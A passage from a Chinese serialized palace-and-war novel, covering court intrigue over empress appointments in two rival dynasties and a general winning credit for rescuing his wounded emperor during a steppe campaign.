“嗯。一定会的。”万珍珠也是笑着。她一样对于孩子有一股子的畅想。 夫妻二人说话,那说得开开心心。 等散步后,二人回了花厅。赵济世跟往常一样,他拿了书籍,还坐于妻子身畔。 赵济世是打开书页,语气温柔的念了书。 替腹中的孩儿胎教,万珍珠提一回,赵济世记心上。这不,一直坚持了下来。 夫妻二人有心,对于孩子带着满满的爱意。 头一回当爹娘,新手爹娘上路,二人都在努力的尽了自己全部心力。 大赵,北镇、东镇,尽皆要出兵。 大兵未动,如今不过等着禁军前来压阵。承顺帝亲征的事情可大可小。 可大,不外乎帝王乃国本。可小,不外乎这一回的事情上,承顺帝觉得他已经准备太久。 帝王心头是有数的,也有把握。 赵济世在草原上有内应。东镇的李节度使一样上奏本,也请出阵。 李节度使是宗亲人物,虽然跟天子已经出了五服。 到底一个老祖宗,又离着皇权的继承之位是十万八千里。于是得了承顺帝的信任。 对此,赵济世跟李节度使有默契。有些举动可以你来我往。 同时,又得保持了距离。这距离,不是二人的心思。而是给世人瞧的,给天子瞧的。 大赵朝,燕京都,皇宫,泰一宫。 承顺帝祭祖归来,祭祀了天与地,祭祀了李氏的祖庙。 出兵列阵,一动兵戈,这当然要祭了一回。 宫廷内苑,凤仪宫。 大赵皇后知道天子的一些举动,毕竟天子光明正大,没想瞒谁。 大赵皇后的心神激动,她在盼着一桩事情。 天子想亲征,大赵皇后是同意的。还是满心的期许。 因为她的娘家已经说动人些御史上奏本,请天子册立了东宫太子。 储君一定,帝王再亲征,只无大碍。毕竟东宫储君也是国本。 大赵皇后膝下有亲儿子,为了亲儿子的前途。大赵皇后和娘家都是消耗尽了全部的心力。 为了将来,人人都在立争上游。中宫皇后当然也不例外。 “皇后娘娘。”陪嫁嬷嬷的神色不太好。 “宫外传了消息,国舅爷出事儿。”陪嫁嬷嬷小心的禀了全部事情。 皇后一听,脸色一变。 “糊涂,荒唐。”皇后很气愤。可再是发怒,也阻止不了已经发生的事情。 皇后的父亲已经过逝,如今国舅府上当家的是皇后一母同胞的弟弟。 国舅爷起了心思,也跟皇后一样想推了外甥做储君。 奈何就这关键的时候,国舅府上不争气。 皇后的亲侄子闹出来大麻烦。这一位国舅府的世子爷在章台楼阁吃酒时,跟人争了伎子。 一时起波澜,年少又气盛,这不,与人打斗时,那与国舅府世子争斗的小郎君人没了。 好好的官宦公子,一介小郎君从章台楼搁的三楼摔下去。 这一摔,人给摔死了。 这事情一闹大,国舅府一定会处于风口浪尖上。 皇后的亲儿子想坐储君? 这悠悠众口,一时之间又哪能堵得住。谁让小皇子的舅舅家门风不谨慎呢。 “糊涂种子,尽坏本宫大事。”皇后很生气。 如果可以的话,皇后真想当没这一个亲侄子。 “……”这会儿皇后在着急,她在思量了如何渡过这一回的难关。 “唉。”皇后一声叹息。她知道的,这一回的好机会,又错过了。 亲儿子本来可能的储君之位,因为母族的表哥,那是错身而过,咫尺天涯。 大赵朝,皇宫,泰一宫。 承顺道听着心腹太监的禀话,也知了一些事情。 “皇后的侄子惹了麻烦,倒是连累了皇儿的名声。他的母族不争气,可惜了。”承顺帝的嘴里也是念叨可惜二字。 可惜什么? 当然是承顺帝在御史的多番吹风下,帝王也有心思册立储君。 毕竟立嫡立长,这是礼法规矩。承顺帝自己是走了神武门继承法。 越是如此,承顺帝不想给后代子孙遗祸无穷。 搁下一代嘛,承顺帝就想依了礼法,让嫡子顺利承继皇位。 奈何这一遭的事情闹出来,承顺帝一时半会儿,那不可能册立了小皇子为储君。 因为小皇子哪怕是嫡子,他的母族太不争气了。 承顺帝也要脸。 虽说皇族嘛,真不要脸的时候,那是也不要脸的很。 可如今的承顺帝想拾了体面,这不,这册立储君一事,也要缓一缓。 “也罢,中宫嫡子太年幼,一切缓缓,也是无妨。”承顺帝的心头,这未尝不是天意。 至于有没有人为? 承顺帝太懂了,一定有人为的因素。 可出征在即,承顺帝不想查下去。没得被人纠缠在燕京都里。 那出征事宜,还如何安排? 一些波澜,承顺帝想摁下去。这是帝王的态度。 除此外,承顺帝又关心一回大晋那一边的风声。 承顺帝想跟大晋真正的做盟友,也是瞧得上大晋的赫赫武力。 除此外,承顺帝还想做了大晋天子洪福帝的大舅子。 在大晋花销甚多,承顺帝就盼着亲妹妹淑阳做了大晋天子的继后。 堂堂帝王的同胞妹妹,只做了他国的贵妃。倒底落了大赵的体面。 大晋朝,镐京都,皇宫,泰和宫。 洪福帝这些日子感受到了不少的风声。一些似有若无的话语,也是隐隐入了帝王耳朵里。 “大伴,朕听说贵妃近日甚是风光。宫廷内苑,人人巴结。”洪福帝问道。 “禀陛下,贵妃娘娘是后宫第一人,哪一位娘娘都是尊敬的很。”万忠良回的万金油。 “哈哈 哈……“洪福帝笑一回。 笑罢,帝王又讲道:“贵妃这第一人当得名不符实啊。” “……”万忠良沉默。 对于帝王之言,重点在哪,万忠良太懂了。 想做后宫第一人,还要名符其实。那么,只有一个位置最正宗。 那便是皇后的中宫之位。 “一切由陛下裁决。宫廷内苑,嫔妃娘娘们的前程,依陛下一言而断。”万忠良的态度还是一如从前。 当然是全由洪福帝来决断。帝王说啥,那就是啥。 “……”洪福帝沉默片刻。 “摆驾。”洪福帝说道:“朕要去瞧一瞧贵妃。” “唯。”万忠良躬身应话。 等着坐上御辇后,帝王感觉到的不是轻松。 而沉沉的压力。 洪福帝感受的到,他这些日子来的精力是越来越差。 三皇子太小了,这般年幼的皇子自然没亲政的可能。 一旦帝王驾崩,三皇子这一位幼帝,那撑不是朝堂。 皇权旁落,必成现实。 怎么办?荣恩伯府瞧着越来越像样。 早前被收拾过,如今也是知道夹着尾巴做人。 可这些还不够,至少落于帝王眼中不足够。 万一荣恩伯府一朝飞上青云,那是飘了呢? 甭管是荣恩伯府,还是王贤妃这一位仪贤皇后,那都有前科旧例在。 让洪福帝相信他们,洪福帝给不了太多的信任。 倒是万大伴,洪福帝信了。 因为天子家奴,一身荣辱全系于帝王身上。何况,万大伴的亲女又远嫁他国。 这在异乡的女儿于大晋社稷,不相干系。洪福帝对于万大伴更信任。 可信了万大伴又如何?洪福帝太清楚,万大伴的风光是傍于皇权之上。 皇权势微时,万大伴这样的“内相”人物,那也是抖不起风光来。 于此,洪福帝的目光是转移到了贵妃李氏身上。 李贵妃是大赵朝的公主,她的背后有大赵朝的支持。 在洪福帝的心中,若是由着李贵妃与万大伴相互扶持一二,也是可以鼎定一角。 再加上外戚荣恩伯府,又是一个角。 二人平衡,还是太危险。洪福帝还打算在宗亲里简拔一人。 一直以来,那巴结着皇宫的林江郡主的生父简亲王,便是入了洪福帝的法眼。 简亲王若又成一角,朝堂之上,三角鼎立。 有后宫,有宗亲,有外戚,这让皇帝觉得平衡的更好。 只是李贵妃能不能担重任?洪福帝是怀疑的。 宫廷内苑。 所有的后宫嫔妃都对昭阳宫的宝座心生向往。 不外乎是有人可能坐上去。有人是没可能的。 淑阳公主得着消息,帝王驾临。她惊讶一回。 这帝王亲临,难得,又太稀罕。 当然想法归想法,淑阳公主赶紧去亲迎一回帝王大驾。 “恭请陛下圣安。” “免礼,平身。” 洪福帝给了贵妃体面,他亲自搀扶了淑阳公主起身。 帝妃二人往正殿而去,进殿内,二人落坐。 此时宫人送上茶果点心等。 帝王拿了茶盏,却不饮,只在掌中把玩。 此时的淑阳公主扬了笑脸,说道:“陛下驾临,臣妾欢喜。您能来,也是让臣妾在众妹妹跟前风光一遭。” “陛下,今个儿,您可愿意陪臣妾一道用膳。也是让臣妾沾一点儿陛下您的光,好好的多尝了几道御膳。”淑阳公主捡了话讲。 这气氛嘛,那才活络起来。 “允,就依贵妃之言,朕留下来陪你一道用一回膳食。”洪福帝应了话。 对此,淑阳公主自然开开心心,还跟陪嫁嬷嬷吩咐一回。 这些吩咐当然是让御善房用心一点。多备了帝王喜好的膳食。 同时,淑阳公主也点了自己喜好的膳食。 在宫廷内苑生活这些年,淑阳公主也不是会委屈自己的主。 关于洪福帝驾临了淑阳公主的寝宫。这事情当然传开了。 宫廷内苑的消息,真不瞒人,很快就是人尽皆知。 云昭仪知了这事,还是感慨一回,说道:“贵妃娘娘得圣恩,陛下真真是要抬举贵妃娘娘了。” 这是云昭仪的感想。凭着直觉,她觉得错不了。 因为洪福帝的一举一动,那就是明晃晃的昭示。 越如此,云昭仪越是心里酸酸的。明明她也得圣宠。 可惜,当年小产一回。打那后,一直没喜讯。 云昭仪更酸了,也更恨了。 奈何害她的人已经不在,云昭仪连复仇,都没有一个复仇的对象。 在宫廷内苑,云昭仪觉得自己的处境犹感不足,尚嫌不美。 那么,低位嫔妃里,自然更有觉得愤愤不平。 云昭仪的一番话,心腹宫女听罢,自然是配合一回。 “娘娘,陛下也是宠爱您的。” “陛下宠爱于本宫,本宫尽知。可本宫在陛下心底,一直不是最值得托付的那一人。”云昭仪很失落。 争来争去的这些年,云昭仪看得明白。 她从一介宫人爬至如今的地位,那到头了。 洪福帝明显不想给云昭仪更高的位置。 中宫后位,云昭仪连想,那都不能想。毕竟她没机会。 介于此,妃位呢? 云昭仪想像过的。可惜,帝王已经给过暗示。 这昭仪之位,已经足以酬劳她的恩宠荣光。 再贪念,就过了。 一生荣辱系于帝王一念之间,云昭仪是不敢忤逆帝王的想法。 “往后,本宫还得多巴结了贵妃娘娘。待贵妃一飞冲天,到时候本宫再去巴结,怕是位置窄了,想巴结的人太多,贵妃娘娘忙碌不过来啊。” 云昭仪感慨一番,语气里尽是羡慕。 出身不同,这前程就不同。想像着贵妃娘娘一生下来,那便是人上人。 云昭仪发现自己奋斗一辈子,她的终点,还比不得贵妃娘娘的起点。 人与人的命数差距,可谓是人与狗之间还大。 想一想贵妃娘娘的小狗儿与小猫儿,那小日子过得多好。 小动物还有人仔细的侍候着,小太监一日三刻不停的注意着。 冷了热了,吃食洗漱,那一样不让宫人侍候的。 凭这,这小狗儿小猫儿得了贵妃的青睐,那尊贵的劲儿,比着多少宫人都是高贵三分。 瞧瞧,这在云昭仪眼中,就是现实版本的人不如狗,人不如猫。 因为很多处于低位的宫人,那吃得没狗好,没猫好。 住的,那更比不得。 至于说前程? 狗儿猫儿有贵妃心疼,一辈子让人侍候。多尊贵。 宫人呢? 底层的宫人没了,一把灰的事。再不然,就是乱葬岗里扔了。 大晋朝,镐京都,内城,浑江公主府。 万忠良回了府里。 一回来,万忠良就差心腹去给人递一句口信。 这事情办了,不外乎是万忠良得了帝王的暗示。 可办得。 这不,这消息很快入了大赵使节的耳朵里。 大晋天子已动口风,贵妃晋位,证道中宫。 大有可为。只是嘛,还要有人出一出血。 这没大笔的钱财开道,就是万万不成的。 于是万内相一回府,就递了一个口信。尔后,晌午时分。 公主府的大管事就收了一份重重的礼物。 大管事赶紧的报上去。这指名道姓的,那是献给万内相的礼。 万忠良瞧过礼单子,他笑道:“倒是大手笔。” “不过,也对。舍得,舍得,有舍有得。”万忠良感慨一回。 牛二囡在旁边瞧着厚厚的礼单子,问道:“这瞧着,礼太重。夫君,收了合适吗?” “怎么不合适,这是陛下默许的。”万忠良笑道。 “……”牛二囡一听这话,那给闹沉默了。 “陛下默许,这,也应该呈上去让陛下过目一二吧。”牛二囡提了建议。 “嗯,便依夫人所言。”万忠良不拒绝了妻子的建议。 难得,妻子乐意提了一二建议,万忠良当然要给体面。 何况这礼确实太重了。万忠良收了,在天子跟过了明路更好。 这会儿万忠良又吩咐一回,差大管事去备了重礼。 这重礼,得重到什么程度?大管事一问,万忠良给了暗示。 “中宫之位,何等重要。就按此办。”其时万忠良这一番话,不算暗示,这是明示。 “奴才明白。”大管事赶紧应话。 “办事归办事,应该守口如瓶,还得闭了嘴。”万忠良提醒话道。 “老爷放心,奴才一定闭紧嘴,不敢乱讲。”大管事保证道。 “去吧。”万忠良挥一挥手,大管事躬身退下。 “中宫……”牛二囡也听到要紧的字眼。 “夫君,莫不成宫廷内苑要迎来了一位皇后娘娘?”牛二囡小声问道。 “九成九的可能。”万忠良回 道。 “这跟十成也没区别啊。”牛二囡说道。 话罢,牛二囡也反映过来。 “夫君,不知道是哪一位贵人做了中宫娘娘。”牛二囡特好奇。 中宫皇后,母仪天下。这当然是了不得的大贵人。 牛二囡知道自家夫君得帝王信任。 那又如何呢,一旦有了中宫皇后。这宫廷内苑的格局会不会变? 牛二囡很关注。谁让她家夫君在宫廷当差。 牛二囡想不关注,那也很难。 第75章 “贵妃娘娘合了陛下心意。”万忠良跟妻子透露了风声。 “贵妃……”牛二囡惊讶一回。 “贵妃是和亲公主,这合适吗?”牛二囡也是参加过许多的镐京都聚会。 对于镐京都的女眷圈子里,那些流言蜚语,她可听了几耳朵。 当初追封仪贤皇后王氏,这事情闹不在大。在众人眼中是理所当然。 不为旁的,只因为王皇后是三皇子生母。 未来的新君生母被追封为皇后,天经地义。 至于新皇后的人选,镐京都的太多世家世族盯上了。 那些世家世族的女郎们,谁做了皇后,可是有人在议论的。 哪料想,镐京都的世家世族们的打算要落空。 和亲公主做了中宫皇后? “如此一来,镐京都里谣言难平啊。”牛二囡说了自己的感慨。 “陛下心意裁决,谁都忤逆不得。”万忠良却是觉得帝王的心思,那一定是有社稷为重。 会册立了李贵妃做皇后,必然是李贵妃的身上有帝王瞧上眼的地方。 中宫皇后,从来是谁想坐,那就能成。 同样的,帝王想册立皇后,也是利益考量。 可不会是什么美人误国。 至少万忠良知道洪福帝,这一位帝王再欣赏美人,再是给美人儿一些地位与富贵,却从来不逾越。 牛二囡听着丈夫的话,轻轻颔首。表示赞同。 大赵朝,燕京都,皇宫,泰一宫。 承顺帝歇于凤仪宫,这是帝王在燕京都待的最后一晚。 明个,帝王就要领军出征。 帝后二人有感情,又有子嗣。此时,承顺帝还是安慰一番皇后。 对于皇后娘家出事,承顺帝能怎么办?只能劝一劝皇后宽心。 “朕心里一直惦念你们母子。”承顺帝宽皇后心思。 “立嫡立长,祖宗礼法。这一回暂不册立东宫,也是避一避风头,让国舅府不必在风口浪尖上。” 承顺帝的一番话,说在皇后的心坎上。 “也怨国舅府的小辈不争气。”皇后能怎么办,自然是说一说自己娘家的错处。 “陛下千思万量,处处考虑慎多。您的思量,总不会错。”皇后的口中,当然是站了帝王这一边的立场。 甭管皇后心底,那是多想站一站母族这一边。 可皇后膝下有皇子,还是嫡出的皇子。 为着亲儿子计较,皇后也得站对立场,不可讨了帝王的嫌弃与憎恶。 “朕知道,你一直是会体谅人的。”承顺帝对于皇后的感情嘛,要说多深,那不至于。 毕竟这是他的继室,非是原配嫡妻。可这些年了,帝后二人还是有感情的。 特别是二人膝下有一个嫡子,承顺帝是看得嫡子的。 因为神武门的继承法,承顺帝只想自己一个人是特殊的。 子孙后代嘛,还是不必保留了这般血腥的皇家继承法。 帝后二人说说话,尔后,便是歇下。 因为明日亲征出发,帝王这一晚,倒是纯粹的歇一觉。 对此,皇后并不介意什么。 帝王离开燕京都前,还留宿于凤仪宫,这就是给凤仪宫做了体面。 也算得描补一二国舅府的不体面。 显然这一切都在昭示了,落于承顺帝的心里。 皇后与小皇子是天家人,国舅府上的人嘛,那只是外戚。沾上一个外字,差上几分了,很有距离的。 大晋朝,洪福十八年的春末。镐京都,洪福帝降旨册立贵妃李氏为中宫皇后。 由此,这一位李皇后便是洪福帝的第三任皇后。 宫廷内苑,这事情影响颇大。 沁阳公主对于一位和亲公主坐上了中宫皇后的位置。 沁阳公主保持沉默。 论心底的真心想法,沁阳公主当然不想出现一位李皇后。 可她只是皇室公主,她改变不了父皇的心思。 在圣旨降下,钦天监合了吉日,由帝王圈定后。 沁阳公主还得按规矩唤了李皇后做“母后”。 在沁阳公主心底,她只认生母这一位母后。 奈何规矩摆这儿,沁阳公主也是人在屋檐下,不得不低头。 沁阳公主是嫡出公主,三皇子的生母是追封的王皇后,也是嫡出皇子。 这宫廷内苑,洪福帝膝下的一双儿女全是嫡出的。 问李皇后,这一位大赵朝的和亲公主淑阳有没有心里压力,那有,还是颇大的。 昭阳宫。 在空闲许久后,又迎来了新的女主人。 当然,新皇后新气象。内府自然是修缮一番。 按着李皇后的喜好是布置了昭阳宫。 对此,沁阳公主心头更堵得慌。毕竟昭阳宫里,曾经她的母后一些痕迹。 如今李皇后一入住了,一切皆消。 昭阳宫,在夏初时,一切修缮一新。李皇后在正式的册立大典前,她搬进了昭阳居住。 这也是洪福帝的意思。 介于帝王美意,李皇后不拒绝。 “想不到,万万想不到,本宫真的住进了昭阳宫。”端坐于昭阳宫主殿内的主位上,淑阳公主,这一位洪福帝的李皇后是感慨一番。 “殿下……”陪嫁李嬷嬷还是唤了旧日称呼。 “嬷嬷,你得改了称呼。本宫的身份不同了。往后还得注意良多地方。”淑阳公主,不,应该是李皇后在提醒了李嬷嬷。 “奴婢糊涂,皇后娘娘提点的太对了。”李嬷嬷赶紧认错。 “嬷嬷,你是本宫心腹。本宫往后的荣辱,嬷嬷也是一荣俱荣,一损俱损。嬷嬷,本宫跟前,最信任你。你啊,也得多替本宫盯着一些人和事。” 李皇后是温柔细语。 李嬷嬷听罢,连连点头,对于做了皇后心腹一事。 李嬷嬷是自得的。毕竟这可是中宫皇后的心腹,在宫廷内苑,只有让人巴结的份。 在李嬷嬷心底,她也是成了宫人与奴才堆里的人上人。 只能说一旦掌了一点权利,被人巴结,那滋味谁尝过,谁都不会想放弃了权利。 因为权利在手的滋味太美好。李嬷嬷也是被诱惑的一人罢了。 大赵朝,北镇。 万珍珠这些日子常常发呆,她的夫君赵济世出征了。 此回北去,带走了家将与心腹。便是如此,万珍珠心中还是担忧。 只是再担忧,她也不多语什么。男儿挣一个诺大功名,自然是马背上的功夫。 万珍珠想着这些心事时,她抚一抚小腹。 “嫂嫂,您可是又在相信了赵大哥?”马小莲前来陪一陪嫂嫂,见着嫂嫂的模样,便是关切的问道。 “有一点想。”万珍珠实话实说。 “只我知道,你赵大哥的本事大,好男儿志在四方,岂能郁郁人下,自然要建功立业,奔赴四方。” 万珍珠这一番话是在开解她自个。 “嫂嫂善解人意,也难怪赵大哥欢喜您呢。”马小莲附合一回话。 “二妹妹,这会儿天还不太热。要不,我们去花园子的廊道下走一走。”万珍珠提建议。 “好啊。”马小莲应下。 万珍珠怀孕了,能多走走,她一定会多走走。 赏一赏花园的景致,嗅一嗅花香袅袅。更多的,还是万珍珠觉得她需要适量的运动。 毕竟这般的话,万珍珠生了腹中的孩子时,那会更从容一些。 在花园子的廊道处走一走,瞧一瞧花园的风景。 “嫂嫂,您的生辰也不远了。今年,可要小办一场?”马小莲问道。 “不必了。”万珍珠说道:“我有喜,倒不想太喧嚣。” “再说生辰年年有,待有闲暇时,再是热闹一番也使得。” 万珍珠的主意定了,马小莲听罢,就连连迎合。 此时此刻,抚着微凸的小腹,万珍珠神情温柔。 万珍珠还在想着更北边,那里发生着什么? 北边,一入草原,又是一番风景。那与中原大不一样。 大赵朝的北镇、东镇、禁宫各出兵马。 帝王亲征,又有内应。这自然拿住了胡人的大队伍。 在此等情况下,若还能让胡人逃出升天。那只能说将领无能,兵士未曾用命。 赵济世是出征的一员,还是一方大将。 当然,赵济世很清楚自己的定位,他可以出彩。 可是更加需要突出来的是帝王的领导地位。 有些事情嘛,能做不能说。有些事情嘛,能说时,还得多说一说。 夏日,冷兵器的厮杀在大草原上演。有赢家,有输家。 大赵朝是赢家,承顺帝是赢家。 也便是这等时候,赵济世是胜利者的一方。 北面的草原很大,不止有草原,也有大漠。 北面的天气跟南边也不同。大漠上还有风沙。 一方水土养一方人。草原上的规矩与中原的规矩是不一样的。 许是草原上的环境更难养活了太多太多的人。 这里的承载人数总是有一个极限的。 草原的战征很残酷,这里的人总会信仰一些什么。 中原还会喊了“王侯将相,宁有种乎?” 虽然确实吧,有种。 因为帝王的儿子还是帝王,将军的儿子还是将军。 便是那官员的儿子,也一样还是官员。 可到底中原人留了一道窄窄的缝,让人可有往上爬。 而在草原里,这里讲了贵种。 生来是贵人,那就是生生世世的贵人。一旦生来是奴隶,子孙还是奴隶。 挛鞮家族就是草原的贵人。挛鞮大石是草原的汗位争夺者。 借一借中原的力量,挛鞮大石不后悔。因为有人想推翻了挛鞮家族的统治。 草原这里讲了贵种,可统治的家族不止挛鞮氏一族。 挛鞮大石当然是借刀杀人。 在杀了敌人的同时,挛鞮大石一样的是防了盟友一手。 又或者说盟友? 盟友在利益合适的时候,那也是可以出卖的。 一处大帐内。挛鞮大石见了使者。 “参见撑涂犁大汉。”使者恭敬见礼。 “使者请起。” 挛鞮大石很想知道使者来意。于是他请对方落坐,直接是开门见山的问话,不隐藏半分的用意。 “此来,乃是想与撑涂犁大汉结盟。我主,盼着草原降临一位圣人。除大汉外,再无人担此大任。” 使者恭敬献话,不止献媚话语,还是给这一位撑涂犁大汉呈上了礼物。 对于使者背后的人是谁?挛鞮大石问了,对方含糊的避开。 可再是含糊,还是若隐若现的暗示一番。 挛鞮大石知了,原来是大晋朝的使节。 只这使节嘛,不表露明面身上。还是隐隐藏藏。 落挛鞮大石眼中,就是太不痛快。 可中原人的行径,在挛鞮大石眼中,从来如此,不够光明。 至于挛鞮大石本人?他是一个草原汉子。 在利益不冲突时,他一定很光明。请他认定的勇士吃酒吃肉,又或者赠美人赠宝马。 这些全是随意而至。 可一旦关乎了利益,为了家族的光辉前程。挛鞮大石又不介意做了小人。 草原论成败,胜者是大英雄。又或者说只要赢了,抹掉输家的一切。 在传唱的英雄史诗里,那一定会成为大英雄。 输了的人吗?如果有人给平反,那可能也是输败,如此成了悲情的英雄。 更可能的结局,则是被扭曲,最后成为小丑一般的可怜人物。 挛鞮大石想当大英雄,他想做的撑涂犁大汉不止谁谁的傀儡。 挛鞮大石还想振作了草原的荣光。 “传。”挛鞮大石唤了心腹。 在利益的背后,哪怕有阴谋。从来也是围着利益而转悠。 一处扎营寨的地方。赵济世在巡营。 对此,这一位将领要官从来是小心谨慎。非自己亲自迎营,他不放心。 又或者说这般做法,他心头更踏实。 “伯爷,蒋一递了消息。”心腹匆匆而来,向赵济世禀了话。 “……”赵济世不多言,他接过对方递上来的秘报。 查看封口,确实无误,没被谁打开。赵济世方才拆了封口。 只匆匆略看一遍,赵济世神情不变。可他的眉毛却是一跳。 显然得了的消息让他震惊。 震惊归震惊,赵济世望一望天色,明明天光好,他的心情又是复杂的很。 在心头,赵济世念叨一回挛鞮大石的姓名。 这一人,赵济世一直当兄弟对待。 虽然这“兄弟”二字打一个引号。可到底还是被赵济世认可的盟友。 盟友,原来在合适的时候,从来是被出卖的对象。 赵济世得来的消息,那是从草原的暗桩传来。 北镇分商社在草原的力量不小,因为投入太多。 这背后的人脉,不止是万内相塞给亲闺女万珍珠的陪嫁。 同时,还有万内相和女儿挖一挖大晋朝的墙角。 薅羊毛嘛,万内相和亲闺女一起努力过的。 如今倒是便宜了赵济世,让赵济世是耳目通畅的很。 “回大帐。”此时的赵济世要回大帐。 赵济世准备筹谋一番。借此机会,赵济世想挣得更大的功劳。 至于说一得消息,匆匆上报?这不是赵济世的风格。 当官做人,这些年里的赵济世已经被锻炼出来。 太老实的人,从来不会有好收场。 有时候想挣得功业,还是需要手段。那什么样的手段最好? 那当然是立最大的功劳,还得让上面人看见。 草原上的征战很顺利,哪怕有一些不尽如人意的地方。那也旁枝末节,不干大局。 在赵济世的眼中,这还不够。他的功劳不大,如何晋升了爵位。 都要当爹了,赵济世只盼着挣了更多的功业,给孩子挣钱一个大大的祖宗基业。 当了武官,什么样的功劳最大? 在赵济世的心底,当然是救驾之功。这救驾之功,从来不嫌弃多了。 甭管帝王如何想,只要有了救驾之功。哪怕是做戏,帝王也得厚赏。 毕竟帝王一旦薄恩,这会让世人非议。连救了性命的大如天的救驾之功都会薄待? 那么,帝王太薄情。 这等帝王岂敢让人相信,只会让属下心里凉了。 人心散了,队伍自然就会乱了。 帝王的权利,那也来自于人心的认可。世人不认可,又岂有权利。 大赵,北方的大草原上,中宫大帐。 承顺帝得了燕京都的新消息,奏本上只讲一事。 让承顺帝开心的一事。 “好。”承顺帝李明弘是真的高兴。因为大晋册立了新的中宫皇后。 大晋天子那也成了承顺帝的妹夫。 李明弘的妹妹做了大晋的中宫皇后。对于李明 弘而言,也了却一桩心事。 做贵妃的妹妹跟做皇后的妹妹,这感觉不同,能带来的利益也不同。大大的不同。 承顺帝心头琢磨一些事情。 夏日,炎炎最烈时。 又是一场雨后,天气降温一些。 大军开拔。如此,因着追击一事,各部分散开来。 毕竟白捡了功劳,谁都盼得多挣得一些。 有人乐意捡功劳去,这草原上的功劳不止人头的记功。 那些小部落一旦让大兵筛选过,可能毛都不会剩下一根。 甭管是部落的人口,还是部落的财富,那自然会成为了大兵的斩获。 对于白捡的财富,无论是将领又或者是兵卒,谁都不会嫌弃财富太多。 在这等行情里,赵济世可谓是一枝独秀。虽然也会附合了大众。 可到底没有独走,那是与中军隔了太远。 赵济世一直做了他的本份事,那就是护卫了中军。 天暗了,又是扎营的一天。 赵济世在等着,一直等着。敌方的耐心很好。 好到中军的周围已经少了太多兵力。 或者说除了赵济世的左翼外,其余诸军已经尽数远离了中军的位置。 特别是东镇的李节度使的兵马,那更是出塞去,还要勒然燕石山。 凭此为何?不外乎青史留名,昭昭武功。 明明天暗,赵济世也将睡下时。他的心腹来禀话。 “伯爷,信号亮了。” 赵济世当然有安排。他虽离中军有距离。可应该有探马,那一定是明暗皆有。 这是布局了眼睛和耳朵。除此外,也是等着敌人的大驾光临。 “击鼓。”赵济世吩咐一声。 各部心腹,应该交待的话语,赵济世早有交待。 这些日子的赵济世在做准备。如今嘛,就到了见真章的时候。 是骡子是马,拉出来溜一溜。 在赵济世心底,他对于自己与手下的将士兵卒们是有信心的。 赵济世治军从严,可应该给的粮响等,赵济世从来不苛刻。 在可能的时候,赵济世待亲信从来是宽厚的。 哪怕自己私自添了筹码,他也是乐意的。 说白了,如今是兵为将有。这说是私军,也是可以的。 因为兵卒们从来是吃谁饭,听谁话。 “杀,杀……” 喊杀声传的很远。浓浓的火光,在赵济世带着大军杀至时。 远远的,那一片火红映照着天空。 赵济世骑在骏马上,他瞧着这一切,他心头很冷静。 战场厮杀,一旦习惯了,一切也如常。 在这一场夜幕下的厮杀里,赵济世挣得了一份救驾之功。 只是稍稍有一点意外,待厮杀声停止时,已经是天明。 同时赵济世还知道了,承顺帝出了事。帝王被射中了一箭。 那箭上抹了金汁。有太医相救,到底还是有后患。 “臣救驾来迟,请陛下责罚。”赵济世在中军大帐里见着帝王,他穿着甲胄,只能半跪行军礼,态度恭敬的讲话道。 “爱卿救驾有功,朕当赏,何来罚一说。”哪怕受伤在身,承顺帝李明弘还是把应该安排的事宜给安排好。 明明受了伤,帝王还在忍耐。 对于救驾功臣,帝王也是有一些容忍度的。 倒是太医那一边,这会儿给帝王递了草药汤。 帝王强忍着,又是满口饮下。 “爱卿,平身。”李明弘忍着身上的痛楚,忍着口里的苦涩。 “谢陛下。”赵济世起身。 “中军无恙,是否追击敌人,爱卿一言而决。朕信爱卿。” 这等时候的李明弘给了赵济世这一位武官重权。 “陛下安危为重,臣当守护陛下左右。至于追击,由下面小将出击即可。臣不敢离了中军半分。” 赵济世的态度很明确。 敌人追击一事再要紧,也要紧不过帝王安危。 “朕都说了,朕信爱卿。一切托于爱卿安排。” 此时的李明弘头晕晕,那草药里有安眠成份。 这不,留了赵济世当守将。帝王就是小憩片刻。 赵济世简单安排一番,有人留守,有人追击。 同时,赵济世是守在中军的帝王大帐前,他当了守门神。 那等忠心的姿态,也确实是做足了。 第76章 承顺帝李明弘强忍着受伤的痛楚,交待一番,尔后,晕睡过去。 待帝王醒来后,一开口,先问军情。 一直给帝王当门神的赵济世此时回禀了情况。 “禀陛下,北镇各路兵马已经回守。东镇大军,尚未有消息归来。” 北镇是赵济世统领的左翼,他一清二楚。 至于东镇? 赵济世有耳闻,可那是李节度使管着的右翼。 赵济世知了,也得装着不知道。那一位李宗亲嘛,一直标榜是帝王亲信。 既然都是帝王亲信,二人既得走近,又得疏远。 这里的分寸拿捏,赵济世是要揣摩一下帝王心思的。 “北镇诸兵将,皆忠心之辈。特别是赵爱卿,你乃朕之腹心。”承顺帝的嘴里,全是夸了赵济世的话。 至于这些话,赵济世信不信?帝王讲了,他当然就得信了。 不信,岂不是怀疑帝王。 “臣敬本份,尚未曾护陛下周全。臣失职了。” 赵济世不敢揽功。好好的救驾之功,帝王受了重伤。 这事情甭管是不是赵济世的锅,当着帝王的面,一定得背锅。 这锅,那是替帝王背的。 总不能说中军出篓子,全是帝王的错?这肯定不能是帝王错了,出错,也是臣子的锅。 主动,被动,把锅背着,那就是好臣子。 赵济世在承顺帝跟前从来是好臣子。他一心替帝王办差,忠心耿耿。 至少赵济世的心里,他觉得他真是大大的忠臣。 就此时,有信差来报。 “捷报。” “宣。”承顺帝让信使进来。 信使在外面一得帝王吩咐,进了大帐内。信使跪在帝王的龙榻之外,约十步距离。 “启禀陛下,挛鞮族的大汗乃昨晚袭营主谋,已被拿下,听候发落。” “谁的头功?此能臣擒拿挛鞮一族的大汗?”承顺帝很好奇。 “擒挛鞮一族大汗的武官姓蓝名诚,为左翼下辖一队正。”信使恭敬禀话道。 蓝诚,这名字一入耳,赵济世太熟悉。这是妻子给塞进军里的腹心。 “一队正有些武功,好,好。”承顺帝连声夸赞。 “赵爱卿,你治有方。”承顺帝夸了一回赵济世。 李明弘这一位帝王能从神武门继承皇位。对于军中一些事情很了解。 凭一个区区队正的小卒子,擒了挛鞮一族大汗这等的大功,还能报上来。 没被人劫了功劳,这就说明,左翼北镇的管理清明。一片清明,太廉洁了。 至少承顺帝李明弘是这般认为的。所以他夸了赵济世,真心实意的夸。 赵济世受了帝王的夸赞。这话,他心虚啊。 蓝诚的功劳为什么没被人分润,有多大功,原原本本给呈报上来? 那当然是蓝诚有后台。真当没后台,那立功劳就能升职? 赵济世在底层厮杀多少年,一直奔前程。最后还是提前投靠了当年的王府世子李明弘。 